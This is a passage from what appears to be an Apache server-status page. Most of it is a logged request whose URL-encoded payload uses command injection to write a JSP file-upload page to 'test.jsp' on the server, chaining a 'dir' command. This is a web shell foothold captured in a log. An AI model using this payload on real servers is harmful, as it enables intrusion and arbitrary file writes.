es%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E%5E%3Ctr%5E%3E%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+%5E%3C%2Ftd%5E%3E+%5E%3C%2Ftr%5E%3E%5E%3C%2Ftable%5E%3E+%5E%3C%2Fform%5E%3E+%5E%3C%2Fbody%5E%3E+%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
K45478 ms??54.162.108.167??
S47 ms216 KB0 KB54.162.108.167emp.feriavalencia.comGET /status HTTP/1.0

P: Parse and prepare request S: Service F: Finishing R: Ready K: Keepalive